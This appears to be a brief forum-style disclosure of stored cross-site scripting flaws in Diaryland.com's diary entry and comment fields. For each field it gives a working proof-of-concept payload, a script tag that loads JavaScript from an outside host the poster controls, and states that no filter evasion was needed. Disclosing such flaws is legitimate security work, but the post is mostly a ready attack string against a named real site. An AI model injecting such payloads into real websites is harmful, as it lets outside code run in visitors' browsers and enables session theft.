Diaryland.com

Homepage:

http://www.diaryland.com

Effected files:

input boxes on creating diary entries.

posting comments in diary entries

XSS Vuln PoC:

With no filter evasion at all, we simply put as our entry:

[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]

Screenshots:

http://www.youfucktard.com/xsp/diary1.jpg

http://www.youfucktard.com/xsp/diary2.jpg

XSS Vuln when posting comments in entries:

Again, same as above, no filter evasion:

[SCRIPT SRC=http://youfucktard.com/xss.js][/SCRIPT]

Screenshots:

http://www.youfucktard.com/xsp/diary3.jpg

http://www.youfucktard.com/xsp/diary4.jpg

[ reply ]